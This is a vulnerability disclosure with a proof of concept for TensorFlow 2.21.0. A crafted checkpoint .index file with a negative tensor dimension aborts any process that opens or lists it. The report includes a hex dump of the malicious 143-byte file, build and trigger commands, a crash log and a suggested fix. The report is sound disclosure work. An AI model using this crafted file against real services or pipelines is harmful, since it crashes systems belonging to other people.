Reachable CHECK-failure abort (SIGABRT DoS) in TensorFlow CheckpointReader::BuildV2VarMaps via negative tensor dimension in a crafted checkpoint .index
Target: TensorFlow (tensorflow pip package)
Version tested: 2.21.0 (v2.21.0-rc1-5-ga481b10260d)
Component: tensorflow/cc/saved_model / core checkpoint reader β tensorflow::checkpoint::CheckpointReader
Impact: Denial of Service (whole-process abort() / SIGABRT) triggered at checkpoint open time
Attack vector: A malicious model checkpoint (.index file) supplied to any tool that opens/inspects it
Signal: exit 134 (128 + SIGABRT), Check failed: size >= 0
This report is a PoC for a real, reproduced crash. It is intentionally private/gated because it contains a working malicious-file generator.
Summary
tensorflow::checkpoint::CheckpointReader's constructor calls BuildV2VarMaps(), which iterates over every BundleEntryProto recorded in a checkpoint's .index (the tensor_bundle metadata sstable) and constructs a fully-defined tensorflow::TensorShape directly from each entry's attacker-controlled shape proto.
TensorShapeBase<TensorShape>::AddDim() enforces the non-negative-dimension invariant with a fatal CHECK, not an error Status:
tensor_shape.cc:416: CHECK_GE(size, 0); // -> LOG(FATAL) "Check failed: size >= 0" -> abort()
Because the .index shape proto is untrusted metadata, a single BundleEntryProto whose shape.dim[i].size is negative (e.g. -1) makes AddDim invoke LOG(FATAL) and abort() the entire process.
Crucially, the crash happens while merely opening / listing the checkpoint β inside the CheckpointReader constructor β before any tensor is read. No get_tensor() / RestoreV2 call is required. Any tool that opens or lists an attacker-supplied checkpoint is affected:
tf.train.load_checkpoint(prefix)tf.train.NewCheckpointReader(prefix)tf.train.list_variables(prefix)inspect_checkpoint/ TensorBoard-style checkpoint inspectors
Root cause
The constructor immediately builds the variable maps:
// tensorflow/cc/saved_model/../util/checkpoint_reader.cc
CheckpointReader::CheckpointReader(const string& filename, TF_Status* status)
: reader_(nullptr), ... {
reader_ = new BundleReader(Env::Default(), filename);
...
if (status_ok) {
BuildV2VarMaps(); // <-- runs at construction / open time
}
}
BuildV2VarMaps() walks every bundle entry and constructs a TensorShape from the proto shape:
void CheckpointReader::BuildV2VarMaps() {
...
for (v2_reader_->Seek(kHeaderEntryKey), v2_reader_->Next();
v2_reader_->Valid(); v2_reader_->Next()) {
BundleEntryProto entry;
entry.ParseFromArray(...); // untrusted metadata
...
TensorShape shape(entry.shape()); // <-- CHECK-fails on negative dim
...
}
}
TensorShape(const TensorShapeProto&) calls AddDim() for each dim; AddDim hard-asserts:
// tensorflow/core/framework/tensor_shape.cc:416
CHECK_GE(size, 0) << "..."; // fatal, non-recoverable
There is no Status-returning validation of the proto shape before this point, so malformed metadata aborts the process instead of surfacing an InvalidArgument error.
Proof of Concept
The PoC reuses the workspace's leveldb / tsl::table sstable builder to emit only a 143-byte model.ckpt.index (no data shard). The .index contains:
- the required header entry (
BundleHeaderProto,num_shards=1), and - one
BundleEntryProtowithdtype = DT_FLOATand a 1-D shape whose singledim.size = -1.
Files (in this repo):
ckpt_lib.pyβ sstable /tensor_bundle.indexbuilder (crc32c-masked blocks, footer, header + entry).build_poc.pyβ writes the malicious.index(negative dim, no shard).trigger_open.pyβ opens the checkpoint withtf.train.load_checkpoint(prefix)only.crash_evidence.logβ captured run output (verbatim, below).
Build + trigger
python build_poc.py /tmp/neg_ckpt/model.ckpt
# wrote /tmp/neg_ckpt/model.ckpt.index (143 bytes), no data shard
python trigger_open.py /tmp/neg_ckpt/model.ckpt # aborts
echo $? # 134
The crafted .index (143 bytes) β note the little-endian 0x...ff two's-complement -1 dim size in the serialized BundleEntryProto:
00000000: 0000 0608 011a 0208 0100 0611 706f 6973 ............pois
00000010: 6f6e 0801 120d 120b 08ff ffff ffff ffff on..............
00000020: ffff 0100 0000 0001 ...
Captured evidence (verbatim)
TensorFlow 2.21.0 β calling tf.train.load_checkpoint(prefix) only (no get_tensor):
tf 2.21.0 -- calling tf.train.load_checkpoint(prefix) ONLY
F0000 00:00:1784087166.593021 1194615 tensor_shape.cc:416] Check failed: size >= 0 (-1 vs. 0)
*** Check failure stack trace: ***
@ 0x7fe0c10ce564 absl::lts_20250814::log_internal::LogMessage::SendToLog()
@ 0x7fe0c10ce4e6 absl::lts_20250814::log_internal::LogMessage::Flush()
@ 0x7fe0c0cff5a8 tensorflow::TensorShapeBase<>::AddDim()
@ 0x7fe0c0cff4e0 tensorflow::TensorShapeBase<>::TensorShapeBase()
@ 0x7fe0b873a8a6 tensorflow::checkpoint::CheckpointReader::BuildV2VarMaps[abi:cxx11]()
@ 0x7fe0b873a11d tensorflow::checkpoint::CheckpointReader::CheckpointReader()
@ 0x7fe08b7727d6 pybind11::detail::argument_loader<>::call<>()
@ 0x7fe08b77270c pybind11::cpp_function::initialize<>()::{lambda()#1}::__invoke()
@ 0x7fe08b765dc9 pybind11::cpp_function::dispatcher()
@ 0x595d1c (unknown)
Fatal Python error: Aborted
EXIT=134 (134 = 128+SIGABRT)
Negative control (proves the container is well-formed)
The identical builder with a positive dim [2] opens cleanly β dtype map and list_variables both succeed β proving the sstable container is valid and the abort is caused specifically by the negative dimension, not by a malformed file:
--- NEGATIVE CONTROL (positive dim [2]) ---
OPEN OK. dtype map: {'goodvar': tf.float32}
list_variables: [('goodvar', [2])]
Impact
Any application, service, or CI pipeline that opens or lists an untrusted TensorFlow checkpoint β model registries, conversion/inspection tools, serving frameworks that inspect checkpoints, inspect_checkpoint, notebooks that call tf.train.list_variables on user-provided artifacts β can be crashed with a 143-byte file. Because the abort is at open time, no tensor-restore step is needed, widening the reachable surface to any read-only inspection path. The result is a reliable, non-recoverable process termination (Denial of Service).
Suggested fix
Validate the BundleEntryProto shape proto with a Status-returning path before constructing a TensorShape (e.g. use TensorShape::BuildTensorShape(proto, &shape) / PartialTensorShape validation, or explicitly reject negative dims), so BuildV2VarMaps returns errors::InvalidArgument(...) instead of hitting the fatal CHECK in AddDim.
Deduplication note
- Distinct from the previously packaged TensorFlow tensor-bundle bug (
tf-tensor-bundle-nullderef-poc): that one is a SIGSEGV NULL-dereference requiring aget_tensor()call on aDT_STRINGkey with an oversized positive shape, crashing inHelper<tstring>::TotalBytesduringGetValue. This report is a SIGABRT CHECK-failure on a negative dim of any dtype, crashing earlier inTensorShapeBase::AddDimduringBuildV2VarMapsat construction/open time.- Different signal: 134 (SIGABRT) vs 139 (SIGSEGV)
- Different function:
TensorShapeBase::AddDimvsHelper<tstring>::TotalBytes - Different code path / reachability: open-only (
load_checkpoint) vsget_tensor()-required - Different fix site: shape-proto validation vs allocation null-check
- The
CHECK-based enforcement inAddDimis a general defensive-coding gap when fed untrusted proto metadata; this report demonstrates a concrete, minimal, reachable trigger through the publicCheckpointReaderopen path.